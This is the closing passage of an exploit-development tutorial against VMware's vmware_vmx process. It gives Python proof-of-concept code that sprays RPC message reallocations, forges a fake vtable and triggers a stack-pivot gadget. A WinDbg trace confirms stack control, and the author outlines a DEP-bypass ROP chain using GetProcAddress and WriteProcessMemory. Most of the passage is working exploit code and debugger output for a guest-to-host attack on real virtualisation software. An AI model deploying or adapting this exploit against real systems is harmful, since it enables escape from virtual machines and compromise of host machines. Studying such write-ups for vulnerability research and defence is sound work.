To take advantage of this gadget, we need to write its address to the global variable that we control via the RPC commmand “unity.window.contents.start”. Then we can modify the “MessageSendData” reallocation request to craft a fake vtable. Our crafted vtable will contain the pivot gadget address as the second virtual function pointer. We update our proof of concept as follows.

def realloc(addr):
inbuf = kernel32.VirtualAlloc(0, 0x80, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
memset(inbuf, 0x41, 0x80)

for i in range(0x40):
chan = MESSAGE_CHANNEL()
OpenChannel(chan)
MessageSendSize(chan, 0xb0)
MessageSendData(chan, inbuf, 0x80)
MessageClose(chan)

cmd = create_string_buffer("unity.window.contents.start AAAABBBBCCCCDDDDEEEEFFFF")
size = sizeof(cmd) - 1

vmwareBase = leak()

fakeVFTable(vmwareBase + 0x183429)

# vmwareBase + 0xb870f8 = Fake vtable Addr
realloc(vmwareBase + 0xb870f8)


We’ll place a breakpoint on the call instruction which causes the access violation and we’ll follow the execution so we can verify that the stack pivot takes place.

Breakpoint 0 hit
vmware_vmx+0x9d0b2:
00007ff63d4fd0b2 ff5008          call    qword ptr [rax+8] ds:00007ff63dfe7100=00007ff63d5e3429

0:013> u 00007ff63d5e3429 L4
vmware_vmx+0x183429:
00007ff63d5e3429 8be7            mov     esp,edi
00007ff63d5e342e 488d05d3b16500  lea     rax,[vmware_vmx!opus_get_version_string+0xb36a8 (00007ff63dc3e608)]
00007ff63d5e3435 c3              ret

0:013> t
vmware_vmx+0x183429:
00007ff63d5e3429 8be7            mov     esp,edi

0:013> p
vmware_vmx+0x18342b:
00007ff63d5e342b 6500c3          add     bl,al

0:013> db esp L5
0000000004411ce5  42 42 42 42 42                                   BBBBB


Clearly, we have managed to gain control over the stack and we can now build a ROP chain in order to bypass DEP.

## Building a ROP Chain

We are going to use GetModuleHandle and GetProcAddress in order to dynamically resolve addresses and consequently dynmically resolve the address for WriteProcessMemory.

For the sake of brevity, I am not going to include an entire ROP chain here. You can find examples online of ROP chains for this exploit so go try it! You’ll learn a lot as there are some issues you’ll run into!

Hope you enjoy :)